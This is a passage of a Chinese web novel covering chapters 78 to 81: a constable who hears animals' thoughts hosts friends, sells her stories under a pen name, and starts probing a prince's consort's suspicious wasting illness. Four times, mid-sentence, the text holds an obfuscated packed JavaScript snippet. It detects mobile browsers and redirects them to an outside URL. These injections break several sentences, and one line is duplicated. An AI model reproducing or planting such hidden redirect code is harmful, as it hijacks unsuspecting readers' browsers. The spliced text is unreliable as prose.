那只玳瑁猫据说是甜水巷的“老住户”,穆青青给它取名叫“阿玳”。还有那只狸花猫,小荷给它取名叫“花花”,也常来串门。屋外不远处大榕树下住着一窝麻雀,叽叽喳喳的,每天都热闹得很。 最有趣的是钱玉郎家那只大狗,叫“追风”的,不对,是叫“大牙”。自从梅花大盗案子后,大牙就跟着它那不靠谱的主人认识了穆青青,隔段时间它就会跟着钱玉郎来串门,每次来都要把小院闹个底朝天。 “姑娘,今儿个买了一条大鲤鱼,晚上炖汤喝?”小荷从井台边站起来,手里还滴着水。 穆青青正坐在窗前改稿子,闻言抬头:“多炖点,明天多买点菜,我打算请余姐姐她们来吃饭。” 穆青青早就想要请六扇门往来比较多的同事吃饭了,从她来到京城,同事们都很照顾她,往来比较多也没几个人,就不准备去酒楼吃喝了,在家里吃也挺好的。 小荷眼睛一亮:“真的?那我去多买些菜!余姐姐爱吃红烧肉,林姐姐爱吃清淡的,郑三哥好像什么都吃……对了,钱公子他最近常往这边跑,要不要也请上?他那只大狗要是来了,可热闹了!” 穆青青想了想:“请吧。大牙要是来了,你多准备几根肉骨头。” 小荷高兴地应了。 第二天傍晚,甜水巷的小院里热闹起来。 余肖红第一个到,带来一坛自家酿的梅子酒。林霜随后,手里拎着一包点心。郑三提了两只烧鸡,说是西市最有名的老字号。韩大虎空着手来的,不好意思地挠头:“我不知道带啥,就……就带了张嘴。” 众人笑成一团。 钱玉郎来得最晚,身后跟着一只大黑狗,毛色油亮,尾巴摇得像风车。一进门,大牙就直奔厨房,被小荷拿着锅铲轰了出来,委屈地蹲在院子里,眼巴巴地看着灶台。 追风:【汪!好香!好香!今天是不是有肉骨头?】 光幕上,大牙的“话”冒了出来。 穆青青忍住笑,从厨房里拿了一根早就准备好的肉骨头,扔给它。大牙一口叼住,趴在地上大嚼起来,尾巴摇得尘土飞扬。 追风:【汪!这个两脚兽最好!每次来都有肉骨头!】 郑三看着大牙,啧啧称奇:“这狗可真聪明,跟人精似的。” 钱玉郎得意道:“那当然,我养的狗,能不聪明吗?” 余肖红在旁边笑道:“聪明是聪明,就是太能吃了。你看它那肚子,圆得跟球似的。” 大牙抬起头,不满地“汪”了一声。 追风:【“汪!本汪这叫富态!你们懂什么!”】 众人听不到“大牙”的心声,但看它的表情也知道它在"汪"什么,又是一阵笑。 小荷在厨房里忙得团团转,锅铲碰着铁锅叮当响。红烧肉的香味飘出来,馋得大牙直哼哼,墙头的阿玳和花花也蹲不住了,跳下来凑到厨房门口。 阿玳:【“喵……今天是什么日子?这么香?”】 阿玳:【“喵呜……本喵闻到鱼味儿了!还有肉味儿!”】 檐下的麻雀们也叽叽喳喳议论起来。 麻雀叽叽:【“啾!好香!好香!今天肯定有剩饭!”】 麻雀喳喳:【“啾啾!上次那个小两脚兽给我们留了一把小米,可香了!”】 穆青青听着这些叽叽喳喳,心里暖洋洋的。 饭桌上,众人吃得开心,聊得热闹。大牙趴在桌底下,时不时蹭蹭这个的腿,蹭蹭那个的腿,讨几块肉吃。 酒过三巡,郑三喝得脸红红的,拍着桌子道:“穆姑娘,你是不知道,你在咱们六扇门可出名了!梅花大盗那案子,要不是你盯住钱玉郎,咱们现在还满京城瞎转呢!” 钱玉郎在旁边抗议:“哎哎哎,什么叫盯住我?我那是主动投案好不好?” 郑三一瞪眼:“你那是被抓住了好不好?” 两人你一言我一语,吵得不亦乐乎。 寇晟端着酒杯,趁其他人注意力都被吸引走的时候,看着穆青青道:“你那话本,写得怎么样了?” 寇晟是知道穆青青在写话本的,当初在丰城县的时候,穆青青还把远在京城,觉得以后都不会有太多交集的寇晟当成网友,写信交流过话本题材。 寇晟笑了笑:“钱玉郎跟我说他买过一本话本小说,觉得很好看,他特意托人打听作者是谁,结果绕了一圈,居然真的打听到你头上了。” 穆青青心中一紧,眼光立刻扫向钱玉郎,钱玉郎正埋头啃鸡腿,假装没听见。 穆青青想过掉马甲,可没想到第一个发现她写话本的居然是钱玉郎。 寇晟又道:“你的话本写得不错。有空再多写几篇,六扇门的卷宗可以借你看。” 说完,他站起身,告辞走了。 穆青青站在门口,看着他的背影消失在夜色里,心里有些说不清的滋味。 墙头上,阿玳和花花蹲成一排,齐刷刷地看着她。 光幕亮了。 【甜水巷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336915|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' (当前在线:5)】 阿玳:【喵……那个两脚兽怎么走了?还有那么多肉呢。】 花花:【喵??走了不好吗?我们可以多吃点!】 阿玳:【喵……你就知道吃,真馋。】 大牙:【汪!本汪闻到他怀里揣着什么东西,肯定藏着好吃的!】 檐下麻雀:【啾!这狗也谗,就知道吃!】 大牙:【汪!你骂谁?信不信本汪一口把你们窝给拆了?】 穆青青看着这几行字,忍不住笑出声。 她关上门,回屋继续写话本去了。 又过了几日,穆青青的《沈园旧事》终于完稿。 她从头到尾看了一遍,又改了几处细节,这才满意地放下笔。 这个故事讲的是一个江南大家族由盛转衰的过程,里面有财产纷争、妻妾争斗、旧案沉冤,还有一点现代刑侦知识的小科普。她写得用心,自己还挺满意的。 “该去投稿了。”她想起丰城县那家书肆掌柜说的,京城有家“文汇堂”,在城南甜水井胡同。 第二天上午,她特意起了个大早,换了一身男装,乔装打扮了一番才偷摸着出门,揣着稿子往城南走去。 虽说现在钱玉郎也知道她写话本的事了,但能瞒其他人多久就瞒多久吧,穆青青总觉得自己这个肉身来历不明,低调些总是好的。 甜水井胡同离六扇门不远,走了两刻钟就到了。巷口有个卖糖葫芦的小贩,见她路过,热情地招呼:“这位小哥,来一串?新鲜的山楂!” 穆青青摆摆手,继续往里走。 文汇堂在巷子中段,门脸不大,但收拾得很雅致。门口挂着一块匾,上书“文汇堂”三个字,笔力遒劲。透过窗棂能看见里面一排排书架,摆满了书。 穆青青推门进去,一股墨香扑面而来。 柜台后坐着一个老者,六十来岁,戴着副水晶镜片磨成的单照,正在看书。听见动静,他抬起头,透过单照打量了穆青青一眼。 “这位小公子想要买什么书?” 穆青青特意压低了嗓音:“掌柜的,我是来投稿的。丰城县书肆的掌柜说,京城的文汇堂也收话本。” 柜台后的老者抬起眼,透过水晶镜片打量她:一个面生的少年郎,身形瘦削,穿着半旧布衣,背着个旧书箱,风尘仆仆的样子。 “丰城县来的?”老者接过稿子,翻开看了几页。 看着看着,他的眼神变了。 他没说话,拿着稿子起身进了里间。过了约莫一盏茶功夫,一个四十来岁的中年男子快步走出来,穿着件半旧的绸衫,手里还捏着穆青青的稿子。 “这位公子——”他上下打量穆青青,目光在那旧书箱和范阳笠上停了停,忽然拱手一礼,“可是丰城县那位‘青木先生’?” 79. 瑾王府 穆青青一愣。 中年男子笑了:“公子别见怪。咱们文汇堂在丰城有分号,掌柜的常来信提起,说那边出了个了不得的作者,专写市井奇案,篇篇精彩。掌柜的还特意托人带了几本《市井奇谭录》来京城,我拜读后立刻让人印刷了售卖,很受欢迎。” 他晃了晃手里的稿子,“这篇新作,一看就是先生的手笔。那细节、那味道,旁人仿不来的。” 穆青青心里微惊,面上却稳住,只是淡淡一笑:“掌柜过誉了。” “公子客气了。”中年男子侧身让开,“快请里面坐。” 穆青青摆摆手:“不必了,投了稿就走。只是……”她从袖中取出那半枚铜钱,放在柜台上,“在丰城时用的是这个信物,不知京城这边……” 中年男子拿起那半枚铜钱,对着光看了看,又还给她,笑道:“自然认。公子把另一半收好,往后取稿费,凭这个来。咱们文汇堂的规矩,走到哪儿都一样。” 他从抽屉里取出一张契约,提笔写了几行字:“润笔费按千字五两算,比丰城那边略高些,公子觉得如何?” 穆青青点点头:“可以。” 她接过笔,在契约上落下两个字:青木。 中年男子看了一眼,笑道:“公子往后得了新稿,随时过来。” 他把契约收好,又拿出一张对牌,“这是取稿费的凭证,半月后过来,凭这对牌和那半枚铜钱,稿费就结出来了,之前的可以一起取走。” 穆青青没想到来这一趟还有意外之喜,她接过对牌,道了声谢,转身往外走。 走出文汇堂,秋阳正好,照在身上暖洋洋的。 她站在甜水井胡同口,嘴角微微弯起。 原来“青木先生”的名号,已经传到京城了。 回到家换回官服,刚走到巷口,穆青青就听见有人喊她。 “穆捕头!” 穆青青回头一看,钱玉郎正从一辆马车上跳下来,满脸笑容地朝她走过来。大牙跟在他身后,尾巴摇得像风车,一溜烟跑到穆青青跟前,围着她转圈。 追风:【“汪!汪!香香的人,今天有没有肉骨头?”】 穆青青笑着摸了摸大牙的脑袋,对钱玉郎道:“你怎么在这儿?” 钱玉郎道:“我正好路过,看见一个人像你,就让车夫停下来看看。你是准备去六扇门吗?” 穆青青道:“嗯,有事耽搁了一会儿。” 钱玉郎也不多问,拉着她道:“走走走,去我那儿坐坐。我正想找你呢!” 穆青青被他拉着走也不是,不走也不是,只好道:“什么事?” 钱玉郎道:“好事!边走边说。” 他让车夫先回去,自己和穆青青并肩走着。大牙跟在旁边,东闻闻西嗅嗅,时不时抬头看一眼穆青青,眼神里满是期待。 追风:【“汪!香香的人身上有肉味儿!藏哪儿了?”】 穆青青哭笑不得,从袖子里摸出半块肉干,扔给它。大牙一口叼住,嚼得嘎嘣响。 走到一条僻静的巷子里,钱玉郎才压低声音道:“穆捕头,你那话本,我可喜欢了!” 穆青青一愣。 钱玉郎道:“《市井奇谭录》,第一篇‘狸奴窃铜钱’,第二篇‘黄仙卖鸡毛’,我都看过!写得真好!我托人打听了好久,才知道是你写的。” 穆青青不知道该说什么。 钱玉郎继续道:“你那故事里,那只黄鼠狼可真有意思。拿着鸡毛换铜钱,换来的铜钱又去换鱼干,算得可真精。我看了好几遍,每次看都笑。” 穆青青忍不住笑了:“你喜欢就好。” 钱玉郎道:“当然喜欢!我还买了十几本送人,我姐姐也看了,也说好。她说那篇‘井中银’写得最感人,看哭了。” 穆青青愣了一下:“你姐姐?” 钱玉郎点头:“对啊,就是兵部尚书赵广德的夫人,哎呀,就是我之前偷了宝剑的那家。她这人平时不爱看闲书的,那天无聊翻了几页,结果放不下了,一口气看完,还跟我念叨了好几天。” 穆青青当然记得钱玉郎的姐姐是谁,知道她当年下嫁给了如今的赵尚书,姐弟相差十八岁,自幼由姐姐抚养长大,感情极深。 钱玉郎又道:“我姐姐说,什么时候有机会见见这位‘青木先生’,想当面见见你。我说,见什么面啊,人家写书又不是为了你。不过她既然想见,我就帮她问问,你愿不愿意?” 穆青青想了想,道:“以后有机会再说吧。” 钱玉郎也不勉强,点点头:“行。反正我姐姐常去出门,有时候是去庙里上香,有时候去巡查铺子,说不定哪天你们就碰上了。” 两人又聊了几句,钱玉郎才告辞走了。大牙跟在后面,一步三回头,眼神里满是不舍。 追风:【“汪!香香的人,下次来记得带肉骨头!”】 穆青青站在原地,看着他们的背影消失在巷口,忍不住笑了。 这人,还真是个自来熟。 又过了半个月,京城正式入了秋。 这天穆青青正在六扇门翻卷宗,忽然有人来报,说外面有位夫人求见。 穆青青出去一看,门口停着一辆青绸马车,车帘掀开,一个三十五六岁的妇人探出头来。她穿着藕荷色绣缠枝纹的褙子,发髻上簪着一支羊脂玉簪,面容温婉,眉眼间带着几分和善的笑意。 “穆姑娘?”那妇人开口,声音轻柔。 穆青青点头:“正是。夫人是?” 那妇人下了马车,朝她微微福身:“妾身娘家姓钱,是钱玉郎的姐姐。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348191|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 穆青青连忙还礼:“原来是赵夫人,赵夫人客气了。” 赵夫人笑道:“早就想见见穆姑娘,今日冒昧前来,不知可有打扰?” 穆青青道:“夫人请里面坐。” 两人进了偏厅,落座奉茶。赵夫人打量着穆青青,眼里带着几分好奇。 “玉郎那孩子,在家里没少念叨你。”她道,“说你破案如何厉害,心思如何细密,我耳朵都快听出茧子了。” 穆青青笑了笑:“钱公子过誉了。” 赵夫人又道:“还有你那话本,我也看了。写得真好,尤其是那篇‘井中银’,看得我心里难受了好几天。” 穆青青道:“夫人喜欢就好。” 两人聊了一会儿,赵夫人忽然道:“穆姑娘,妾身今日来,其实是有件事想托你帮忙。” 穆青青看着她:“夫人请说。” 赵夫人叹了口气,道:“是我夫家的一个庶出妹妹。她嫁进了瑾王府做继室,如今病了。病了大半年了,请了多少太医都不见好。我婆母让我去探望,我想着……能不能请穆姑娘陪我走一趟?” 穆青青有些意外:“夫人是想让我去看病?可我不会医术。” 赵夫人摇摇头:“不是看病。是……是觉得蹊跷。” 她压低声音道:“瑾王府的前任王妃,也是这么病死的。病症一模一样:先是失眠,然后是心慌气短,再后来是浑身无力,最后……最后就那么去了。前后拖了三四年。” 穆青青心里一动:“夫人的意思是……” 赵夫人道:“我只是觉得太巧了。我那庶妹嫁进王府才三年,前王妃死了四年。两个人都是一样的病症,一样的死法。我婆母担心,怕是什么不干净的东西作祟,让我去看看。我想着,穆姑娘你破案厉害,眼光毒,或许能看出什么来。” 穆青青沉默了一会儿,道:“夫人,我只是个捕快,不是仵作,也不是大夫。若真是有人下毒,我没带衙门的人,去了也做不了什么。” 赵夫人点头:“我知道。我不求你破案,只求你去看一眼。若觉得正常,那就正常;若觉得蹊跷,回来告诉我,我再想办法。” 她顿了顿,又道:“我那庶妹,人挺好的。嫁进王府后循规蹈矩,从不多事。她要是就这么不明不白地死了,我实在……” 她没说完,眼眶已经红了。 穆青青看着她,心里有些软。一个尚书夫人,为了夫家的庶妹能这样上心,倒是个厚道人。 她想了想,道:“好,我陪夫人走一趟。” 赵夫人眼睛一亮,连连道谢。 两人约定明日巳时,赵夫人派车来接。 送走赵夫人,穆青青回到六扇门,把这事跟寇晟说了。 寇晟听完,眉头微皱:“瑾王府?” 80. 王府疑案(1) 穆青青点头:“大人知道这家?” 寇晟道:“瑾王是当今圣上的堂弟,封地在青州,平时不怎么来京。他娶了两任王妃,第一任是江南世家的小姐,十年前病故了;第二任是赵尚书的庶妹,三年前嫁过去的。这第二任王妃病了快一年了,京里也有传闻,说是快不行了。” 穆青青道:“赵夫人觉得蹊跷,让我去看看。” 寇晟沉吟道:“你去看看也好。若真有问题,回来再说。但记住,瑾王府是亲王府邸,不比寻常人家,凡事多留个心眼,别轻举妄动。” 穆青青点头:“我明白。” 第二天巳时,赵夫人的马车准时停在甜水巷口。 穆青青跟着赵夫人上了车,在赵夫人贴身丫鬟翠喜的帮助下,她换上了一套和翠喜身上差不多的服饰,也有了一个暂时的“昵称”翠翘。 马车穿过几条街,往城北驶去。路上赵夫人简单说了些瑾王府的情况。 瑾王今年四十出头,是当今圣上的堂弟,年轻时也是个风流人物,后来娶了第一任王妃,便收了心,夫妻感情甚笃。 第一任王妃病故后,他消沉了十年,才在老太妃的强烈要求下续娶了现任王妃。 “我那庶妹闺名叫婉娘。”赵夫人道,“她娘是我婆母的陪嫁丫鬟,生了她就没了,是我婆母把她养大的。她性子软,不爱说话,但心地好,对谁都客客气气的。” 穆青青听着,不时点头。 马车在城北一条僻静的巷子口停下。巷子很深,两旁是高高的灰墙,墙内隐约可见楼阁飞檐。巷口站着两个带刀的侍卫,见了马车,上前查验。 赵夫人递上名帖,侍卫看了好几眼才放行。 马车继续往里走了一会儿,最后在一扇朱漆大门前停下。门楣上挂着一块匾,写着“瑾王府”三个大字。 早有门房迎出来,引着赵夫人换乘的软轿往里走。 穆青青和翠喜也跟在软轿旁,一行人穿过好几道门,还绕过了一座假山,最后来到一处幽静的院落前。 院门口站着两个丫鬟,见了赵夫人,齐齐福身:“夫人万安。” 赵夫人问:“王妃今日可好些?” 一个丫鬟答道:“回夫人,王妃今日精神好些,刚才还喝了半碗粥。” 赵夫人点点头,带着穆青青进了院子。 院子里种着几丛竹子,清幽雅致。正房的门虚掩着,一股药味从里面飘出来。 丫鬟掀开门帘,两人进了屋。 屋里光线昏暗,窗户半掩着,只透进来些许日光。靠墙的床上躺着一个女子,二十六七岁年纪,面容清秀,但瘦得脱了形,颧骨高高凸起,眼窝深陷。她睁着眼,看见赵夫人,嘴唇动了动,想说什么,却只发出几声虚弱的咳嗽。 赵夫人快步走过去,坐在床边,握住她的手:“婉娘,我来看你了。” 婉娘的眼眶红了,眼泪顺着脸颊滑落。 赵夫人拿帕子给她擦泪,轻声道:“别哭,别哭。婆母一直记挂着你,特意叮嘱我来看看你。” 安慰了好一会儿,瑾王妃的情绪才稳定下来,她的目光最后落在了穆青青身上,赵夫人的丫鬟她都眼熟,可眼前这个丫鬟是? 她眼里带着疑惑,但并未出声。 赵夫人也并未多做解释,她只遣退了屋里的所有下人,又让翠喜去门外守着,然后才招呼穆青青上前来。 穆青青知趣地走上前,朝她行礼道:“王妃万安。” 赵夫人压低了声音对瑾王妃低语道:“这是在六扇门当差的穆捕快,你叫她翠翘就好,我特意拜托她帮忙来看看你的。” 说完,用一种你应该懂的的眼光深深看了一眼瑾王妃。 瑾王妃愣了几秒,似乎明白了什么,然后张了张嘴,声音沙哑得像砂纸磨过:“穆姑娘……好……” 穆青青没有急着问话,只是站在床边,静静地看着她。 屋里很安静,只有王妃偶尔的咳嗽声。穆青青的目光扫过屋子的每一个角落:床头的药碗,桌上的茶具,窗台上的一盆兰花,墙上挂的一幅山水…… 然后她蹲下身,目光扫过床底和墙角。 什么都没有。 没有可疑的香炉,没有奇怪的药包,没有来路不明的东西。整个屋子收拾得干干净净,简简单单,跟一般权贵人家的卧房差不多。 穆青青站起身,走到窗边,推开一条缝往外看。窗外是一个小院,种着几丛菊花,正开着,黄的白的,开得热闹。 她关上窗,回到床边。 “王妃,”她轻声道,“我能问你几个问题吗?” 瑾王妃点点头。 穆青青问:“你是什么时候开始不舒服的?” 瑾王妃想了想,断断续续道:“去年……秋天。先是……睡不着,后来……心慌,再后来……就没力气了……” “看过大夫吗?” “看过……太医……开了好多药……吃了……不见好……” 穆青青又问:“你吃的药,都是谁煎的?” 婉娘道:“我……贴身丫鬟……春杏……她一直……跟着我……” 穆青青点点头,又问:“你平时吃的喝的,都是她经手?” 婉娘点头。 穆青青想了想,换了个方向:“王妃,你嫁进王府这两年,有没有得罪过什么人?” 婉娘愣了一下,随即摇头。她摇头的动作很慢,很轻,但很坚定。 “我……从不……得罪人……” 赵夫人在一旁插话:“婉娘性子软,从不跟人争执。府里的人都说她好相处。” 穆青青又问:“那前王妃的事,你听说过吗?” 婉娘的眼神微微一变。她沉默了一会儿,才道:“听说……也是……这样……病死的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353761|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆青青看着她,忽然问:“你有没有见过前王妃用过的东西?或者去过她住过的院子?” 婉娘摇头:“没……没见过……” 穆青青又问了几句,婉娘的精神越来越差,说话也越来越吃力。赵夫人让她别说了,好好休息。 两人从屋里出来,赵夫人眼眶红红的。 “穆姑娘,”她压低声音道,“你看出来什么没有?” 穆青青摇摇头:“屋里很正常,没什么可疑的东西。” 赵夫人叹了口气:“我就知道……可能是我想多了……” 穆青青道:“夫人别急。有些东西,不是看一眼就能看出来的。我回去再想想。” 两人出了王府,坐上马车往回走。 一路上,穆青青一言不发,脑子里却一刻也停不下来。 前王妃已经去世十年了,具体情况穆青青不清楚,但瑾王妃的这种病症在穆青青这里除了疑难杂症外,还有一种可能,那就是慢性中毒。 先是失眠,然后心慌气短,再后来浑身无力,最后慢慢衰竭而死。 相信现代喜欢上网的人都有这种联想,毕竟有个著名的投毒案到穆青青穿越的时候还没抓到凶手呢。 可她在瑾王妃屋里什么都没发现。没有可疑的香炉,没有奇怪的食物,没有来路不明的东西。 毒是从哪儿来的? 她想起瑾王妃说起过的,她的贴身丫鬟春杏一直跟着她。如果春杏有问题,那她经手的药、饭食、茶水,都可能被下毒。 可瑾王妃嫁进王府才两年,春杏是她从娘家带来的陪嫁丫鬟,跟了她好几年了,怎么会害她? 除非,春杏被收买了。 穆青青想不明白。 回到甜水巷,天已经快黑了。 小荷做好了晚饭,见穆青青回来,迎上来道:“姑娘,今天怎么这么晚?事情顺利吗?” 穆青青摇摇头,坐下吃饭。饭菜很香,可她吃不出什么味道,脑子里还在想着那个案子。 吃完饭,她坐在窗前,把今天在瑾王府的所见所闻又过了一遍。 瑾王妃躺在床上,瘦得皮包骨头。屋子收拾得干干净净,没有任何可疑之处。窗外院子里的菊花开得热闹,黄的白的,在阳光下格外鲜艳。 可就是太干净了。 干净得让穆青青总觉得哪儿有点不对劲儿。 可惜线索太少了,穆青青暂时也没弄明白到底是哪里让她感觉不对劲儿。 有没有可能是有人在她来之前,已经清理过了。 穆青青心里一沉。 如果真是这样,那这个人的消息也太灵通了。她今天上午才决定去王府,下午就有人把屋子清理干净了?那这个人的手伸得也太长了。 正想着,院门忽然被敲响了。 穆青青起身去开门,门外站着的竟然是钱玉郎,身后跟着大牙。 81. 王府疑案(2) “穆捕头!听说你今天去瑾王府了?”钱玉郎一进门就嚷嚷,“我姐姐跟我说的,怎么样?有没有发现什么?” 穆青青道:“还没有。” 钱玉郎也不见外,一屁股坐下,大牙也熟门熟路地趴在他脚边,眼睛却盯着厨房的方向。 【追风:“汪!今天有没有肉骨头?”】 穆青青让小荷拿了几根肉骨头出来,大牙立刻来了精神,叼着骨头在院子里跑来跑去,尾巴摇得像风车。 钱玉郎看着它,笑道:“这狗,就知道吃。” 穆青青也笑了。 可笑着笑着,穆青青忽然觉得有什么东西不太对劲。 她在原地站了很久,盯着大牙看了一会儿,又抬头看了看墙头的阿玳和花花。 阿玳正在舔爪子,花花趴在瓦片上晒太阳,两只猫都懒洋洋的,时不时眯起眼睛,扫一眼院里的动静。檐下的麻雀叽叽喳喳吵个不停,远处巷口传来几声狗叫,隔壁孙婶子家的黄狗也在叫。 很吵。 穆青青忽然意识到,今天去瑾王府,她好像……什么都没听到。 不是没听到人声,而是没听到动物的声音。 对!就是动物的声音! 瑾王府那么大,后花园草木茂盛,院子里还种着竹子、菊花,养着锦鲤,怎么可能连一只鸟都没有?连老鼠都没有? 她在王府待了快一个时辰,从进门到出来,脑子里光顾着想毒药的事,居然没注意到整个王府安静得不像话。 这太不正常了。 京城里哪户人家没有几只猫猫狗狗?王府那么大,院子那么多,总有养宠物的吧?就算不养宠物,屋檐下总该有几窝麻雀吧?墙角总该有几只老鼠吧? 可她在王妃院子里站了那么久,什么都没听见。 光幕上也是一片死寂。 【甜水巷(当前在线:2)】 【阿玳:喵……人,你今天去哪儿啦?那儿有啥好玩的不?】 穆青青没有立刻回答。 她蹲下身,看着阿玳。 “阿玳,”她压低声音,“你知道瑾王府吗?” 阿玳歪着脑袋想了想。 【阿玳:喵……知道,在北城,墙可高了。那附近有片林子,本喵去过一回,不好玩,连只老鼠都逮不着。那边的人不爱养猫,也没见着几只鸟。冷清得很。】 穆青青又问:“那王府里头呢?你进去过吗?” 阿玳舔舔爪子。 【阿玳:喵……进去过一回。去年春天,本喵追一只蝴蝶,翻墙进去了。里面院子可大,花草可多,可就是没有活物。本喵转了半天,连只虫子都没见着,饿着肚子回来的。后来就再也没去过。】 穆青青心里一沉。 连只虫子都没有。 一个花草茂盛的王府,怎么会连虫子都没有? 她想起瑾王妃院子里那些开得正艳的菊花,想起钱玉郎说的张侧妃院子里种满了花。花那么多,怎么会没有蜜蜂?没有蝴蝶? 除非,那地方真的有问题。 穆青青越想越觉得不对。 穆青青回到六扇门,把在瑾王府的发现向寇晟作了汇报。 “大人,瑾王府有些不对劲。”她斟酌着措辞,“今天去了一趟,我发现整个王府安静得反常,没有鸟叫,没有猫叫,连声狗叫都没有。后院草木茂盛,却连只虫子都见不着。” 寇晟眉头微皱:“你的意思是?” “我也说不上来,就是觉得不对。”穆青青道,“一个王府,花草那么多,怎么可能连只蜜蜂都没有?我怀疑王府里有什么东西,让这些小东西都不敢靠近。” 寇晟沉吟片刻:“你想怎么查?” 穆青青早已想好说辞:“我想从外围查起。王府我们进不去,但可以打听打听府里近两年的情况,看看有没有什么怪事,有没有人突然死了或搬走了。尤其是后院那边,听说种了不少花,我想弄清楚到底是什么花。” “还有,”她补充道,“我想看看前王妃的病例。如果两任王妃症状一样,那肯定不是普通的病。” 寇晟点头:“病例我去调。外围的事,你有什么办法?” 穆青青道:“我想让钱玉郎帮忙。他人脉广,三教九流都认识,让他找那些常在王府附近走动的人打听打听,比咱们出面方便。另外,赵夫人那边我也打算请她帮个忙,查查王妃贴身丫鬟春杏的家底,看有没有什么异常。” 寇晟没有多问,只道:“赵夫人那边你去说,钱玉郎那边我来打招呼。病例的事,三天之内给你。” 穆青青点头。 她先去赵府找了赵夫人。 赵夫人听说要查春杏的家底,二话没说就答应了。 赵夫人听说要查春杏的家底,二话没说就答应了。 “这个容易,”赵夫人道,“春杏是婉娘从娘家带来的,她爹娘都在我们府上。自从春杏跟着婉娘去了瑾王府后,我婆婆就给她爹娘换了轻松活计,如今她爹在近郊一处庄子上做管事,她娘就在庄子上的厨房帮忙,都是老实人。我让人去打听打听,看看这两年有没有什么变化。” 穆青青点头。 家生子,身家性命都捏在主家手里,这样的人若是被收买,要么是被人拿住了把柄,要么是许了她天大的好处:比如替她全家脱籍。 “赵夫人,”穆青青道,“烦您顺便查查,春杏家这两年有没有突然添了什么产业,或者有没有人替他们求过脱籍的事。” 赵夫人神色一凛:“你是说……” “只是猜测。”穆青青道,“查一查总没坏处。” 赵夫人点头应下。 从赵府出来,穆青青没有直接回家,而是绕道去了城东钱玉郎的粥棚。 大牙果然在那儿。它趴在粥棚旁边,尾巴一摇一摇,看着来来往往的人,时不时汪一声,像是在跟谁说话。 穆青青一出现,大牙立刻站了起来,尾巴摇得像风车,一溜烟跑到她跟前。 【追风:“汪!香香的人!今天有肉骨头吗?”】 穆青青从袖子里摸出一条肉干扔给它。大牙一口叼住,也不挑,嚼得嘎嘣响。 钱玉郎从粥棚里探出头来,看见穆青青,笑着招手:“穆捕头!来喝粥!” 穆青青走过去,把事情跟他说了。 钱玉郎听完,眼睛一亮:“打听消息这事包在我身上!我认识好几个在王府附近摆摊的小贩,还有巡街的差役,让他们帮着问问,比咱们自己瞎转悠强多了。对了,我家大牙鼻子灵,改天我带它去王府附近转转,说不定能闻到什么不对劲的味儿。” 大牙正埋头啃骨头,听见自己的名字,抬起头,一脸茫然。 【追风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357012|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“汪?本汪怎么了?”】 钱玉郎蹲下身,拍着大牙的脑袋:“大牙,明天带你出去转转,去个地方,回来给你加肉骨头。” 大牙眼睛一亮,尾巴摇得像风车。 【追风:“汪!行!去哪儿都行!”】 穆青青看着这一幕,嘴角微微弯了一下,只提醒了钱玉郎要注意保密,其他什么都没说。 从粥棚回来,穆青青没有直接回甜水巷,而是绕道去了城北。 她没有靠近王府,只是在周边的巷子里慢慢转了一圈。王府的院墙很高,墙头插着碎琉璃渣大门紧闭,门口站着带刀的侍卫。她放慢脚步,边走边看。 墙根底下有几丛野草,已经枯了。她蹲下身,拨开枯草,看见地上有几根细细的骨头,像是小鸟的。骨头已经发白,有些年头了。 她站起身,继续往前走。走到巷子尽头,拐进另一条更窄的巷子。这里离王府后院更近,墙更高,墙头插着碎玻璃。 穆青青正往前走,忽然听见头顶传来一阵窸窣声。抬头一看,一只玳瑁猫蹲在墙头,绿幽幽的眼睛正盯着她。 居然是阿玳。 阿玳喵了一声,跳下墙头,在她脚边转了一圈,又跳上墙头,往巷子深处走了几步,回头看她。 穆青青心里一动,跟了上去。 阿玳带着她穿过两条巷子,在一处僻静的墙角停下。墙根底下有一丛枯死的藤蔓,藤蔓后面,隐约可见一个小小的洞口。阿玳蹲在洞口旁边,喵了一声,然后跳上墙头,头也不回地跑了。 